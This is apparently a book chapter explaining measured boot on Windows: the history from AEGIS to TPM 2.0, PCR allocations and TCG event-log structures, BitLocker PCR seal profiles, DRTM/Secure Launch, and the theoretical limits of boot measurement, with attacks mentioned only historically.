But first, the historical answer: how did a 32-byte register get into the position of deciding whether a PC boots cleanly or asks for a 48-digit key?

Origins: Arbaugh 1997 and the chain-of-hashes axiom

The first paper to take the boot problem seriously is also one of the calmest. In 1997, three researchers at the University of Pennsylvania Distributed Systems Laboratory, William A. Arbaugh, David J. Farber, and Jonathan M. Smith: presented A Secure and Reliable Bootstrap Architecture [180] at the IEEE Symposium on Security and Privacy in Oakland. They opened with a line that ages disconcertingly well: "we find it surprising, given the great attention paid to operating system security that so little attention has been paid to the underpinnings required for secure operation, e.g., a secure bootstrapping phase for these operating systems."

They built a working prototype. A Pentium-class PC. A modified BIOS. A small PROM expansion card with public-key certificates. And, threaded through everything, an inductive structure they called AEGIS.

AEGIS divided the boot into six levels (0 through 5). L0 was a small trusted ROM that ran the first POST phase, the signature-verification routines, and recovery code. L1 was the rest of the BIOS code plus CMOS. L2 was option-ROM expansion cards (the era's GPUs, network cards, SCSI controllers). L3 was the operating system boot block(s). L4 was the OS kernel. L5 was user programs and any network hosts the kernel reached. Each level verified the next before handing off; on a failed verification, L0 recovered the broken stage from a known-good network image. (The paper also presents a "four levels of abstraction" framing for one of its figures; the article uses the canonical six-level numbering.)

The architectural axiom that survived 28 years of evolution is this: there is always a bottom layer you cannot verify yourself. AEGIS does not eliminate that layer; it reduces trust to the smallest possible unverifiable thing. The L0 trusted ROM is the axiom; everything above it is provable from the axiom. Replace "trusted ROM" with "Boot Guard ACM" or "PSP boot ROM" or "Pluton silicon firmware" and the structure does not change.

AEGIS could not, on its own, make the next pivot. It had no hardware-rooted endorsement key. It had no append-only register that could not be lied to. It had no remote-attestation primitive: the L0 ROM trusted itself, but an external auditor was forced to trust the BIOS's own report of the bootstrap. The trick AEGIS could not pull off is the trick the Trusted Computing Platform Alliance was about to attempt: make the root a chip. (Arbaugh continued the work at the University of Maryland and later took a senior position at the National Security Agency. The bootstrap problem followed him; in 2005 he co-authored an early TPM-on-Linux survey that anticipates several of the PCR allocation conventions that PFP would formalize.)

The TCPA was founded on October 11, 1999 [73] by Compaq, Hewlett-Packard, IBM, Intel, and Microsoft. Its first specification [73] shipped January 30, 2001. The first hardware-TPM-equipped PC shipped on the IBM ThinkPad T30 in 2002 [73] (with a TPM 1.1-class Infineon SLB chip); the TPM 1.1b revision deployed in volume the year after. In 2003 the TCPA was reorganised as the Trusted Computing Group, with AMD joining as a founding board member.

The thing AEGIS could not do (turn a chain of in-RAM hash comparisons into a record a remote party can trust) is what the TPM became.

Early approaches: TPM 1.1b, SHA-1, and the original PCSI

"The first TPM version that was deployed was 1.1b in 2003" [181]: Wikipedia, drawing on the TCPA shipment record. A 24-pin chip in a tiny LPC-bus package, soldered to the motherboard of a ThinkPad T30. Sixteen PCRs. One hash bank: SHA-1, 20 bytes wide. A monotonic counter. An endorsement key, fused at manufacture. A storage root key, generated at first ownership. By 2010, hundreds of millions of business PCs shipped with one. By July 28, 2016, Microsoft's Windows 10 hardware logo program required TPM 2.0 on every new OEM Windows 10 PC: desktop, mobile, and server alike [181].

The mechanic that did all the work is one operation: TPM_Extend. It takes a PCR index and a 20-byte digest. It produces a new PCR value defined as PCR[N]:= SHA1(PCR[N] || digest).

That two-letter primitive (extend) is doing more cryptographic work than its size suggests. A PCR is not a set of measurements; it is a sequence. If three boot stages measure three values a, b, c into PCR[0] in that order, the resulting PCR encodes H(H(H(0 || a) || b) || c). Reorder the stages and the final hash differs. Repeat a stage and the final hash differs. Skip a stage (the move every rootkit dreams of) and the final hash differs. Under collision-resistance of the underlying hash, producing the same final PCR via a different ordered sequence is computationally infeasible.

The PC Client Specific Implementation (PCSI) specification carved up the 24 PCRs of TPM 1.2, the chip the TPM chapter (Chapter 2) covers, into eight indices that the world still uses today. PCR[0] holds the CRTM, the system firmware code, and the firmware host platform extensions. PCR[1] holds the host platform configuration (CMOS settings that change platform behavior). PCR[2] holds the option ROM code. PCR[3] holds the option ROM configuration. PCR[4] holds the master boot record code (and on UEFI machines, the boot-loader image). PCR[5] holds the master boot record partition table (and on UEFI machines, the boot configuration). PCR[6] holds state-transition and wake events. PCR[7] holds host platform manufacturer control: a category that, post-PFP, became Secure Boot policy.

TPM 1.2 also defined the first remote-attestation primitive in industry hardware: TPM_Quote. The TPM signs a snapshot of selected PCR values plus a verifier-supplied nonce with a private key the chip alone holds (the attestation identity key, certified by a Privacy CA). The verifier checks the signature, checks the nonce, checks the AIK certificate chain, and re-derives the expected PCR set from a TCG event log delivered separately. If the re-derivation matches the signed quote, the platform's boot history is authenticated.

It worked. For a while. Then, on February 23, 2017, the SHAttered team published the first public SHA-1 collision [81]. The team was Marc Stevens (CWI Amsterdam) and Pierre Karpman (Inria), with Elie Bursztein, Ange Albertini, and Yarik Markov (Google Research). Two PDF files with identical SHA-1 hashes. The collision cost about 110 GPU-years of compute [81]. The implication for TPM 1.2 was immediate: a 20-byte SHA-1 PCR can no longer be assumed unique under attacker-controlled input. (The SHA-1 choice in 2003 was state-of-the-art at the time, not negligence. NIST's SHA-256 had been published in 2001 but was not yet broadly trusted; SHA-1 was the IETF-blessed default for X.509 and many TLS deployments. The SHAttered collision required compute that did not exist commercially in 2003. By 2017 it required compute that anyone with a Google Cloud account could buy.)

If the cryptographic floor is broken and you cannot re-floor in place: a TPM 1.2 chip cannot grow a SHA-256 bank [181]. You replace the floor with one that can be moved. That is what TPM 2.0 became.

Evolution: TPM 2.0, hash agility, and the UEFI PFP

On April 9, 2014, the Trusted Computing Group announced the TPM Library Specification 2.0 [181]. ISO ratified the result the following year as ISO/IEC 11889-1:2015 [84], and confirmed the standard as current in a 2021 review. The change set is large (new algorithm framework, NV index ACLs, sessions, command authorization area, ECC primary keys) but the line that matters for measurement is the simplest one: PCRs now exist in banks.

A TPM 2.0 chip can run a SHA-1 bank, a SHA-256 bank, and (often) a SHA-384 bank in parallel, plus optional SHA-512 and SM3-256. The same PCR index lives once per bank. A TPM2_PCR_Extend call updates each selected bank with a digest already computed for that bank's algorithm; the original measured bytes may be the same, but the digest supplied to the TPM is per-algorithm. TPM2_PCR_Allocate reconfigures the bank set at runtime, gated by platform authorization.

The event log structure had to grow with the chip. The pre-2014 log format (TCG_PCR_EVENT, single SHA-1 digest) could not carry per-bank digests. The PC Client PFP defined a new structure, TCG_PCR_EVENT2, documented in Microsoft's Tbsi_Get_TCG_Log reference [182]. Its two load-bearing parts are the event log container and the multi-bank digest list.

The very first event in a TPM-2.0-format log is, deliberately, a TPM-1.2-format record. From Microsoft Learn verbatim [182]: "The Signature member of the TCG_EfiSpecIdEventStruct structure is set to a null-terminated ASCII string of \"Spec ID Event03\"". That string is the self-describing handshake: a parser that doesn't know about banks reads the legacy event and either understands it (continuing as a 1.2 parser) or recognizes the Spec ID handshake (and upgrades to the 2.0 parser). The cost of forward compatibility is precisely one event. (The "Event03" suffix is not a typo. The TCG PC Client Platform Firmware Profile defines TCG_EfiSpecIDEventStruct with Signature[16] containing the ASCII string and a specVersionMajor/specVersionMinor/specErrata triplet. The "03" denotes the third revision of the format. Earlier "Spec ID Event02" structures exist in pre-1.21 PFP firmware; they encode banks differently and are extremely rare in Windows-era machines.)

The bridge between the chip and the firmware is a UEFI protocol. EFI_TCG2_PROTOCOL [183] (UEFI 2.5 and later) exposes three calls that matter: HashLogExtendEvent (the one-shot "hash this blob, log it, extend the PCR" call), GetEventLog (return the in-progress event log to a caller), and GetCapability (which banks are active, which algorithms are supported). After ExitBootServices, the firmware publishes the final log as a UEFI configuration table; the OS reads it from there.

The Microsoft PFP-era PCR allocation is the table every modern Windows administrator should memorise.

A small word on the index column: a 24-PCR TPM ranges from PCR[0] to PCR[23]. (The PFP allocates PCR[16] as a debug index that platform firmware may extend during development; the value resets to zero at TPM_Init, which is one of two PCRs (the other is PCR[23]) the platform may explicitly reset.) The allocation itself is normative in the PFP, but it sits inside a wider policy frame: NIST SP 800-155 (BIOS Integrity Measurement Guidelines, December 2011 IPD) [184] defined the federal procurement bar for "BIOS integrity measurement", a draft that, despite never finalizing, became the de-facto procurement template for the SRTM measurement chain U.S. agencies require their suppliers to ship.

Measured boot evolves through five overlapping eras and consumer layers: AEGIS in 1997; TCPA and TPM 1.1b/1.2 from 1999 through the PCSI era; TPM 2.0 and ISO/IEC 11889 hash agility beginning in 2014-2015; DRTM from Intel TXT and AMD SKINIT into Microsoft Secure Launch; and the current attestation era in which Azure Attestation, Intune DHA, and the in-flight PFP revision consume the same evidence plane.

We now have a self-describing log, a hash-agile PCR set, and a verbatim ABI. Who actually writes the log? And who reads it?

The breakthrough: One log, many consumers

Every trust decision a modern Windows machine makes about its own boot ultimately consults the same record. BitLocker's seal release. Windows Defender System Guard runtime attestation [104]. Windows Hello for Business device-bound key attestation. Microsoft Azure Attestation [186] policy evaluation. Microsoft Intune Device Health Attestation. Conditional Access posture checks. All of them ultimately rest on the same measurements: the attestation consumers replay the TCG event log against the quoted PCRs, and BitLocker's seal release binds to the live PCR values those measurements produced. One log; every feature.

This is the structural insight. It is also the reason this specification has survived three generations of attacks: the cost of designing a new attestation feature on Windows is no longer "design a new measurement plane," it is "decide which PCRs your policy cares about."

The cooperative writers populate the log in pipeline order, following the Microsoft Tbsi_Get_TCG_Log PCR allocation [182]. Firmware (the silicon root of trust and everything above it through the UEFI driver execution environment) writes PCRs 0 through 7. The Microsoft boot manager image bootmgfw.efi is measured into PCR[4] by the preceding UEFI stage (an image is measured before it runs), and bootmgfw.efi itself writes Windows boot-application configuration into PCR[12]. PCR[11] remains the BitLocker access-control PCR: it is the index BitLocker seals to, not the bucket for kernel, HAL, or boot-driver code. The Windows OS loader winload.efi writes boot module details, boot-critical driver information, and ELAM policy/verdict material into PCR[13], while boot authorities are represented in PCR[14]. UEFI firmware emits an EV_SEPARATOR event into PCR[0-7] at the end of the firmware phase, and Windows emits separators into its own OS PCRs once the boot-time measurement phase is complete, freezing the boot-time slice of the log for verifiers.

The unified reader path mirrors the writer fan-in. EFI_TCG2_PROTOCOL.GetEventLog exposes the main log to firmware drivers and applications before ExitBootServices; events measured after that call are published separately through the EFI_TCG2_FINAL_EVENTS_TABLE configuration table. Windows reads both during boot and exposes the merged log (the firmware portion plus the OS-loader extensions) to user mode through Tbsi_Get_TCG_Log [182]. Operators read it with the inbox tpmtool.exe or cross-platform tpm2_eventlog [187]; the practical guide below walks the full tool set.

In prose, the writer fan-in is this: firmware writes the SRTM platform slice into PCR[0] through PCR[7]; the UEFI BDS phase measures the Microsoft boot manager image into PCR[4]; Windows boot components then use Microsoft WBCL events without placing boot-component code in PCR[11]. PCR[11] remains the BitLocker access-control PCR. Boot-application configuration and BCD state belong in PCR[12]; boot module details, boot-critical drivers, and ELAM policy/verdict material belong in PCR[13]; boot authorities belong in PCR[14]. The kernel finishes the boot-time slice by emitting separator events.

A single canonical log eliminates per-feature reinvention. Azure Attestation does not have to parse a different log than BitLocker. Hello for Business does not have to extend its own PCRs. The verifier community (the part that knows what "good" means) builds policies on top of one shared substrate; that community is exactly where the Attestation chapter (Chapter 5) begins. Measured boot manufactures one canonical evidence plane; deciding good from bad on top of it is the next link's work, not this one's.

We have named the log abstractly. What does an actual event look like, byte by byte, on the wire?

State of the art: A line-by-line walk through the SRTM chain

We walk the chain in the exact order events are logged on a modern UEFI Windows 11 24H2 machine. Reference: a Dell OptiPlex 7090 with Boot Guard, TPM 2.0 in SHA-256-only mode, Secure Boot enabled, BitLocker with TPM-only protector bound to the PFP-default UEFI profile.

The first measured event, after the initial EV_NO_ACTION Spec ID record described above, is a EV_S_CRTM_VERSION record. PCR index 0. Event type 0x00000008. One digest per active bank. Event size varies with the encoded firmware-version string. Event data is a little-endian UTF-16 firmware-version string, padded as that implementation emits it. The CRTM extends its own version into PCR[0] before measuring anything else. This is the foundation event.

The CRTM and PCR[0]

The very first instruction the CPU fetches after reset is not in DRAM. On a modern x86, it is in an immutable silicon region whose location and contents differ by silicon vendor.

On AMD Zen-class platforms, the Platform Security Processor (a 32-bit ARM core inside the SOC) boots first, validates the platform firmware against a key fused into silicon, and only then releases the x86 cores from reset. On Intel platforms with Boot Guard, the Authenticated Code Module is loaded from firmware into the cache-as-RAM region, signed by a key whose hash is fused into Intel chipset OTP fuses, and verified by microcode before x86 main core start. On Microsoft Pluton SKUs, the TPM-facing anchor is a distinct Microsoft-designed security-processor IP block integrated into the SoC die (Chapter 3). On AMD Ryzen 6000-series and later parts, Pluton coexists with the existing AMD PSP and PSP-based fTPM; it is not merely a firmware mode running inside the PSP.

In every case, the platform's silicon-rooted CRTM measures the next stage of firmware before transferring control. From Microsoft's hardware-rooted trust documentation [188], verbatim: "This technique of measuring the static early boot UEFI components is called the Static Root of Trust for Measurement (SRTM)." The SRTM extends PCR[0] with a chain of three early events: EV_S_CRTM_VERSION (firmware version), EV_S_CRTM_CONTENTS (the immutable CRTM code hash), and EV_POST_CODE (the POST code region hash). Then, if the platform has a separable firmware volume, an EV_EFI_PLATFORM_FIRMWARE_BLOB event covers the rest of the SPI flash region per the TCG PFP event-type registry surfaced in Microsoft's Tbsi_Get_TCG_Log reference [182]. The PFP closes PCR[0] with an EV_SEPARATOR event at the BDS boundary.

Where the firmware-version string differs, the SHA-256 digest of the EV_S_CRTM_VERSION event data differs. Where the EV_S_CRTM_VERSION digest differs, PCR[0] differs. That is the entire mechanism by which an overnight UEFI patch changes PCR[0]. Dell updated the firmware string from "1.16.0" to "1.17.0"; the bytes hashed; the PCR moved; the seal broke.

PEI/DXE, option ROMs, and PCR[1-3]

After the CRTM hands off, the Pre-EFI Initialization (PEI) phase runs and the Driver Execution Environment (DXE) phase loads UEFI drivers. PEI does early silicon initialization (memory controller, cache topology, basic chipset config) and DXE does device discovery, including option ROMs for plug-in cards.

Each option ROM that runs is measured into PCR[2]. The option ROM's configuration (card-specific NVRAM state that survives reboot) is measured into PCR[3]. The PFP also reserves PCR[1] for the platform configuration: CMOS settings, the SMBIOS table contents, and any BIOS-setup-visible knob that affects platform behavior per the PCR-allocation mapping surfaced in Microsoft's Tbsi_Get_TCG_Log documentation [182]. Disabling a USB controller in firmware changes PCR[1]. (UEFI boot-order changes, by contrast, are recorded as EV_EFI_VARIABLE_BOOT events in PCR[5], not PCR[1].) Installing a discrete GPU adds an EV_EFI_BOOT_SERVICES_DRIVER event into PCR[2] for the GPU's video BIOS.

Secure Boot variables and PCR[7]

PCR[7] is the Secure Boot policy PCR. It records the digests of the five values that define Secure Boot identity (Chapter 1): SecureBoot (the on/off flag), PK (Platform Key), KEK (Key Exchange Key), db (allowed signers), and dbx (revocation list). It also records any signed program execution events the firmware logs to PCR[7] under EV_EFI_VARIABLE_AUTHORITY [189].

Each variable contributes one EV_EFI_VARIABLE_DRIVER_CONFIG event whose Event field encodes (VariableName GUID, UnicodeName, VariableDataLength, VariableData) and whose digest is the SHA-256 of that entire structure. The digest is not over the variable data alone; it is over the GUID and name as well. This matters: when the May 2023 Microsoft dbx update shipped under KB5025885 [190] added the BlackLotus-vulnerable boot manager hashes to the revocation list, the variable data length grew, the structure changed, and the resulting EV_EFI_VARIABLE_DRIVER_CONFIG digest differed. Every Secure-Boot-enabled UEFI Windows machine that consumed that dbx update in the relevant bank saw PCR[7] move.

From the Wack0/bitlocker-attacks index [189], reproducing TCG EFI Platform Specification §6.4 verbatim: "If the platform provides a firmware debugger mode which may be used prior to the UEFI environment or if the platform provides a debugger for the UEFI environment, then the platform SHALL extend an EV_EFI_ACTION event into PCR[7] before allowing use of the debugger". The intent is clear: a debugged firmware is a different PCR[7] than a production firmware. The verifier can refuse to release a key to a debugged platform.

Boot manager (bootmgfw.efi), PCR[4], PCR[11], and PCR[12]

The UEFI Boot Device Selection (BDS) phase locates EFI/Microsoft/Boot/bootmgfw.efi on the EFI System Partition, computes its Authenticode digest (Chapter 12), verifies the Authenticode signature against db and dbx, logs an EV_EFI_BOOT_SERVICES_APPLICATION event into PCR[4] [182] with that digest, and transfers control. PCR[4] now binds to the boot manager's image content. A different boot manager binary (a different version, a different language pack) produces a different PCR[4].

Once bootmgfw.efi runs, it begins the Microsoft-specific Windows Boot Configuration Log (WBCL) portion of the transcript. The correction that matters operationally is the PCR split. PCR[11] is the BitLocker access-control PCR: the index BitLocker seals to. Boot-application configuration, including BCD state and boot-debug settings, is measured into PCR[12]. Boot module details, boot-critical driver information, and ELAM material are measured into PCR[13]. Boot authorities are represented in PCR[14]. Do not read PCR[11] as the place where kernel, HAL, or boot-driver code measurements accumulate.

winload.efi and the ELAM handoff

bootmgfw.efi chains to winload.efi, the OS loader. winload measures the Windows kernel image (ntoskrnl.exe), the Hardware Abstraction Layer (hal.dll), the OS configuration data, and each boot-critical driver in load order as WBCL boot-module detail. Those boot-component code measurements belong in PCR[12] through PCR[14], with boot-application configuration in PCR[12], boot module details and boot-critical drivers in PCR[13], and boot authorities in PCR[14]. They do not belong in PCR[11]. A kernel or boot-driver update changes the boot-module transcript, but PCR[11] remains BitLocker's access-control PCR.

The Early Launch Anti-Malware (ELAM) interface gives a vendor anti-malware driver a chance to run before all other drivers and approve or block subsequent driver load attempts. winload measures the ELAM policy file hash into PCR[13]; the ELAM driver, when loaded, extends its own image digest into PCR[13]; the ELAM driver then returns its allow/deny verdict on each subsequent driver, and winload logs those verdicts (also into PCR[13] under WBCL EV_EVENT_TAG).

Kernel and the final separator

Once the Windows kernel starts, it exposes the TCG event log through the TPM Base Services driver Tbs.sys, which is consumed by Win32 callers through Tbsi_Get_TCG_Log. The kernel emits its EV_SEPARATOR "ready-to-boot" marker into the Windows OS PCRs (the firmware already closed PCR[0-7] with its own separators at the BDS boundary). After the separator, the Windows boot-time WBCL slice this chapter follows is frozen. A verifier reading that log at this point sees the measured boot history up to the early OS handoff; final-events tables, resume logs, DRTM logs, and runtime measurement systems are separate surfaces.

Reading the log from user mode

On a Windows 11 24H2 machine, use tpmtool gatherlogs <dir> from an elevated prompt to collect SRTMBoot.dat and DRTMBoot.dat; Microsoft documents getdeviceinformation as basic TPM information, not a raw WBCL parser [191]. For API-level access, Tbsi_Get_TCG_Log returns the most recent WBCL [182]; for HLK workflows, MeasuredBootTool.exe -log <path> reads the raw binary log file written under C:\Windows\Logs\MeasuredBoot\*.log.

Cross-platform, tpm2_eventlog [187] from the tpm2-tools suite [192] parses any binary log conforming to the PC Client PFP, including Windows-saved logs, because the WBCL extension is structurally compatible. The man page is precise: "tpm2_eventlog(1): Parse a binary TPM2 event log... The format of this log documented in the 'TCG PC Client Platform Firmware Profile Specification'." On Linux, the firmware-published log lives at /sys/kernel/security/tpm0/binary_bios_measurements.

Two iterative extends of the same measurements in a different order produce two completely different 32-byte PCR values. The PCR encodes the order. A verifier comparing your machine's boot-module PCRs (especially PCR[13] for boot module details and boot-critical drivers) against a known-good baseline is implicitly checking that the kernel, the HAL, and the boot-critical drivers all loaded in the expected sequence, not just that they all loaded. Reorder the chain, even with identical inputs, and the PCR moves. This is the property that makes the chain-of-hashes axiom load-bearing.

The PCR allocation cheat sheet

Pin the PCR-allocation table to your wall. Most operational questions reduce to "which PCR is affected by this change, and is it in my BitLocker profile?" Three quick rules:

1. Code changes go to even PCRs (0, 2, 4). Firmware blob, option ROM, boot manager. A firmware update moves PCR[0]; a discrete GPU swap moves PCR[2]; a boot-manager update moves PCR[4].
2. Configuration changes go to odd PCRs (1, 3, 5). BIOS setup, option ROM config, EFI variables seen by the boot manager.
3. Policy and identity go to PCR[7]. Secure Boot keys. Any dbx update moves PCR[7]. Disabling Secure Boot moves PCR[7]. Enrolling third-party db entries moves PCR[7].

PCR[11] is the BitLocker access-control PCR on Windows. PCR[12] is boot-application configuration and BCD state. PCR[13] is boot module details, boot-critical drivers, and ELAM policy/verdict material. PCR[14] is, by Microsoft convention, boot-loader-authority events; by Linux shim convention, MOK enrollment. Same index; different ontology. Verifiers must pick a side.

BitLocker seal-binding

BitLocker's Volume Master Key is wrapped by a TPM-resident sealed blob whose policy is TPM2_PolicyPCR over a chosen PCR profile. The default UEFI profile is the bitmask 0x00000080 | 0x00000800 = 0x880, that is PCR[7] (bit 7 = 0x80) plus PCR[11] (bit 11 = 0x800), as documented in the BitLocker configuration reference [193], which notes verbatim that "when Secure Boot State (PCR7) support is available, the default platform validation profile secures the encryption key using Secure Boot State (PCR 7) and the BitLocker access control (PCR 11)." The legacy CSM/BIOS profile is 0x00000015 | 0x00000800 = 0x815. That is PCR[0], PCR[2], PCR[4], plus PCR[11].

At seal time (when BitLocker enables, or when a user changes the protector configuration), BitLocker builds a TPM2_PolicyPCR authorization policy digest from the current values of the selected PCRs. At every subsequent boot, the boot manager rebuilds the session, calls TPM2_PolicyPCR with the current PCR values, and calls TPM2_Unseal. If the current PCRs match the seal-time digest, the TPM releases the VMK and BitLocker unlocks transparently. If they don't match, the TPM refuses and Windows prompts for the 48-digit recovery key.

From Microsoft's BitLocker countermeasures documentation [105]: "By default, BitLocker provides integrity protection for Secure Boot by using the TPM PCR[7] measurement. An unauthorized EFI firmware, EFI boot application, or bootloader can't run and acquire the BitLocker key". The PCR[7]-default choice is deliberate: PCR[7] is the policy PCR, not the code PCR. Firmware updates don't change a Secure-Boot-policy hash; only key-database updates do.

The boot-time authorization flow is the same profile check in motion: firmware extends the platform PCRs, the boot manager participates in the Windows boot measurements, and BitLocker asks the TPM to unseal only after applying TPM2_PolicyPCR to the configured profile.

The on-disk registry path that records the profile choice is HKLM\SOFTWARE\Policies\Microsoft\FVE\PlatformValidationProfileUEFI [193]. The value is a 24-bit bitmask where bit N selects PCR[N]. A device that sealed under the default 0x880 profile and then has Group Policy changed to 0x815 will not automatically re-seal. You must explicitly disable and re-enable the TPM protector with manage-bde -protectors [194] to rotate the policy.

Those profile masks cover common defaults and common stricter variants; enterprises can and do set custom validation profiles. If the mask includes PCR[0], every firmware update will trigger a recovery prompt. If it omits PCR[0] but includes PCR[7], only Secure Boot key changes (Microsoft's annual dbx updates, third-party Linux enrollments, BIOS-setup Secure Boot toggles) will. The four canonical recovery-prompt causes follow directly:

The complete SRTM chain is linear: the CRTM (Boot Guard ACM, AMD PSP, or Pluton-backed firmware) measures firmware version and contents into PCR[0]; PEI/DXE measures platform configuration and option-ROM state into PCR[1] through PCR[3]; BDS measures Secure Boot variables into PCR[7] and the boot manager image into PCR[4]; Windows records boot application configuration in PCR[12], boot module and ELAM details in PCR[13], and boot authorities in PCR[14], while PCR[11] remains the BitLocker access-control PCR; finally the kernel emits EV_SEPARATOR records that mark the boot-time transcript complete.

We have walked the chain. What about the chain we cannot trust: the OEM-vendor-firmware-allowlist explosion that overwhelms remote verifiers?

Competing approaches: DRTM, late launch, and Secure Launch

A quote from Microsoft's hardware-root-of-trust documentation [188] frames the problem precisely: "As there are thousands of PC vendors that produce many models with different UEFI BIOS versions, there becomes an incredibly large number of SRTM measurements upon bootup. Two techniques exist to establish trust here: either maintain a list of known 'bad' SRTM measurements (also known as a blocklist), or a list of known 'good' SRTM measurements (also known as an allowlist)."

The allowlist explodes. Every OEM, every model, every firmware revision, every Secure Boot key generation, and every Windows boot transcript produces a fresh PCR[0]/PCR[7]/PCR[12] through PCR[14] context, while BitLocker still keys its default UEFI seal to PCR[7] and PCR[11]. A central verifier that wants to assert "this fleet booted firmware Microsoft has signed off on" has to maintain a database whose cardinality grows with the product of OEMs, models, firmware versions, Secure Boot policy generations, and Windows boot transcript variants. By 2017 the table size made the verifier policy ungovernable for general-purpose Windows fleets.

The fix is structural: introduce a second measurement plane that does not depend on the OEM. From the same Microsoft document: "System Guard Secure Launch, first introduced in Windows 10 version 1809, aims to alleviate these issues by using a technology known as the Dynamic Root of Trust for Measurement (DRTM)." And: "Secure Launch simplifies management of SRTM measurements because the launch code is now unrelated to a specific hardware configuration."

DRTM is a CPU primitive. On Intel, it is GETSEC[SENTER], introduced with Trusted Execution Technology in 2007. From the Intel SDM mirror, verbatim: "GETSEC[SENTER] / Launch a measured environment. EBX holds the SINIT authenticated code module physical base address. ECX holds the SINIT authenticated code module size (bytes)." On AMD, the equivalent is the SKINIT instruction from the AMD-V (SVM) family. Microsoft's Secure Launch implementation [104] issues SENTER or SKINIT from a small Secure Kernel Loader (SKL) inside winload.efi.

What SENTER and SKINIT do, at machine level, is roughly identical: they suspend all but one CPU, reset PCRs 17 through 22 in the TPM from their power-on all-ones state to all zeroes in each active bank, load the launch module (Intel verifies the signature on its SINIT Authenticated Code Module; AMD measures its Secure Loader Block rather than checking a signature), and atomically transfer control to it with interrupts disabled and the IOMMU active. The ACM/SLB's measurement gets extended into PCR[17]; the Measured Launch Environment (MLE) it loads gets extended into PCR[18]. On Windows, that environment is the Hyper-V hypervisor (the Above Ring Zero chapter, Chapter 9) and the secure kernel (the Secure Kernel chapter, Chapter 6).

The reason SENTER and SKINIT matter, beyond the resetting of PCRs 17-22, is what they don't measure. They do not measure the PEI/DXE firmware. They do not measure option ROMs. They do not measure the entire SRTM trail in PCRs 0-7. A verifier that consumes PCRs 17-22 sees a much smaller, late-launch transcript: ACM/SLB, Secure Kernel Loader/TCB-launch code, launch policy, hypervisor, secure-kernel, TPM bank, and platform launch context still matter, but the PEI/DXE firmware and option-ROM diversity in PCRs 0-7 no longer dominates the allowlist. DRTM reduces OEM-firmware diversity; it does not collapse every capable system to one digest per silicon vendor.

The Rutkowska / Wojtczuk SMM attack and the DRTM preconditions

Before SENTER could be trusted, it had to survive an attack class that Joanna Rutkowska and Rafal Wojtczuk demonstrated at Black Hat DC 2009 [195]. Their paper's abstract is direct: "We describe a practical attack that is capable of bypassing the TXT's trusted boot process". The mechanism: TXT measured the launch environment but did not constrain System Management Mode, so a compromised SMM handler could tamper with the measured launch after an otherwise trusted SENTER. Intel's architectural response was the SMI Transfer Monitor (STM), a hypervisor that sandboxes SMM. A separate, standing precondition is the IOMMU: the SDM mirror's GETSEC[SENTER] description lists the chipset and TPM preconditions GETSEC[SENTER] checks before opening the measured-launch window, and every modern DRTM design rests on the assumption that VT-d/IOMMU is active at the late-launch instant.

Microsoft Secure Launch and the Secured-Core PC bar

Microsoft's Secured-core PC program [179] packages Secure Launch with a set of other hardware requirements: SMM Supervisor, kernel DMA protection, Boot Guard or PSP firmware, Pluton or equivalent silicon root of trust, and Memory Integrity (HVCI) enabled by default. The Microsoft framing: "Microsoft is working closely with OEM partners and silicon vendors to build Secured-core PCs that features deeply integrated hardware, firmware and software to ensure enhanced security for devices, identities and data." The result is a tier-1 SKU set whose attestation evidence can emphasize the smaller DRTM TCB rather than only the large SRTM history.

Operationally, the Secured-Core flag enables the configuration block at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios per Microsoft's Secure Launch configuration guide [104]. When the registry flag is set and the silicon supports late launch, winload.efi issues SENTER/SKINIT after measuring the early kernel, and the hypervisor launches inside the MLE.

TrenchBoot: Open-source DRTM for Linux

DRTM is not Windows-only. The TrenchBoot project [196] (with contributors from Apertus Solutions, Oracle, and 3mdeb [196]) maintains an open-source DRTM stack for Linux and Xen on GRUB. From the TrenchBoot documentation repo [197]: "TrenchBoot is a framework that allows individuals and projects to build security engines to perform launch integrity actions for their systems." The Linux side of the same primitive that Microsoft Secure Launch uses on Windows.

The DRTM transition is a second measurement plane layered on top of SRTM. The ordinary SRTM chain runs first through firmware, BDS, boot manager, and early loader state. Then the Secure Kernel Loader issues SENTER or SKINIT; the CPU resets PCR[17] through PCR[22]; the Authenticated Code Module or Secure Loader Block is extended into PCR[17]; the measured launch environment, on Windows the hypervisor plus secure kernel, is extended into PCR[18]; and the secure kernel starts with IOMMU protections active.

The comparison below synthesizes the TCG PFP PCR allocation surfaced in Microsoft's Tbsi_Get_TCG_Log reference [182] with the Microsoft hardware-root-of-trust documentation [188] and the BitLocker countermeasures unlock-mode enumeration [105]:

DRTM reduces the OEM firmware-diversity problem. It does not solve the problem that the log is unsigned, the measurement is a hash and not a good hash, and the CRTM is an axiom. What can measurement never prove?

Theoretical limits: What measurement can never prove

Restate the axiom from the origins discussion: the first hash in the chain is an axiom; the silicon that computes it is itself unmeasured. CRTM is the Root of Trust for Measurement, not the Root of Trust for Everything. The trust we can claim is that, given the integrity of the silicon and the immutability of the embedded keys, the chain is a faithful record of what ran. The "given" is doing all the work.

Three limits, each architectural and not implementational.

Trust on first measurement

The CRTM has nothing under it. If you compromise the silicon (through a faulTPM-class SoC voltage glitch against an AMD fTPM, through SPI-bus sniffing of a discrete TPM, through a Pluton supply-chain tamper, through an Intel Boot Guard key extraction), the rest of the chain is, formally, useless. The verifier asks the chip "what ran?"; the chip computes the answer using cryptographic primitives the chip itself implements; if the chip is malicious, every answer is consistent with whatever boot history the attacker wishes. The TPM's TPM2_Quote signature is bound to the chip's own AIK; if the chip is the attacker, the signature is honest about a lie.

This is not a flaw of TPM 2.0. It is a feature of mathematics. You cannot bootstrap trust from nothing. AEGIS knew this in 1997; the TCG accepted it in 1999; every silicon root of trust still depends on it in 2026. The only mitigations are (a) make the silicon as small and audited and physically resistant as the budget allows (which is why Pluton ships a separate sub-millimeter microcontroller), and (b) bind the chip's identity to a manufacturer-rooted certificate chain that an out-of-band auditor can verify. Which is why Hello for Business enrollment cross-checks the EK certificate against the OEM root before issuing the device-bound key.

A PCR value is a hash, not a good hash

The TPM has no knowledge of what is good. PCR[0] holding 0xC4F7... is just a number. To the TPM it is no more or less suspicious than 0xA21E.... The TPM's job, during TPM2_PolicyPCR+TPM2_Unseal, is to refuse the key release if the PCRs do not match the seal-time digest: regardless of whether the seal-time digest was a benign value or a malicious one.

A PCR value is a hash, not a good hash.

